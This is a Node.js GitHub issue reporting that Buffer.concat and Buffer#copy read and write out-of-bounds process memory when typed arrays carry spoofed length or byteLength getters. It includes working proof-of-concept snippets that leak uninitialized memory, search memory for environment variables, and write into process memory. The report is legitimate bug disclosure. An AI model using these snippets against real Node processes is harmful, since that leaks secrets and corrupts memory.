Skip to content

Buffer#copy (and Buffer.concat) can read/write process memory on certain input #59985

Description

@ChALkeR

Note: this is not a security issue only because malicious js is not in the threat model

const b = new Uint8Array(1).fill(1)
Object.defineProperty(b, 'length', { get: () => 20 })
Object.defineProperty(b, 'byteLength', { get: () => 20 })
console.log(Buffer.concat([b]))

While the input is deliberately invalid, returning uninitialized memory is highly unexpected

Note that this doesn't use any Buffer apis except for Buffer.concat, i.e. doesn't call to allocUnsafe
Also the Uint8Array instance is non-pooled

This also happens even with --zero-fill-buffers flag

The issue is on the native _copy side

Also reproducible with Buffer#copy:

const b = Buffer.alloc(0)
Object.defineProperty(b, 'byteLength', { get: () => 2000 })
const t = Buffer.alloc(2000)
b.copy(t, 0, 0, 2000)
console.log(t.filter(x => x))

This also looks like a regression, it didn't happen in 20 or 22.6 but happens in >=22.7 and 24

A sufficiently larger length causes a bus error 😉


Reading env vars

With Buffer.concat:

let l
const b = new Uint8Array(1).fill(1)
Object.defineProperty(b, 'length', { get: () => l })
Object.defineProperty(b, 'byteLength', { get: () => l })
for (l = 1000; l < 1e5; l+=100) {
  const c = Buffer.concat([b])
  const i = c.indexOf('executable_path')
  if (i >= 0) {
    const e = c.subarray(i).toString()
    if (e.length > 1000) {
      // whatever
      console.log(e)
      break
    }
  }
}

With Buffer#copy:

const l = 1000
const b = Buffer.alloc(0)
Object.defineProperty(b, 'byteLength', { get: () => 1e9 })
const c = Buffer.alloc(l)
for (let a = 0; a < 1e5; a += 100) {
  b.copy(c, 0, a, a + l)
  const i = c.indexOf('executable_path')
  if (i >= 0) {
    b.copy(c, 0, a + i, a + i + l)
    console.log(c.toString())
    break
  }
}

The same code could write to process memory, not just read from it
E.g. this will cause a guard failure (which can be obviously bypassed by reading it first)

const l = 200
const b = Buffer.alloc(1)
Object.defineProperty(b, 'byteLength', { get: () => l })
const t = Buffer.alloc(l)
t.copy(b, 0, 0, l) // writes t into process mem
console.log('x')

Reading then writing could also control which exact portions of process memory to overwrite

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bufferIssues and PRs related to the buffer subsystem.staleIssues and PRs marked stale due to inactivity and scheduled for automatic closure.

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions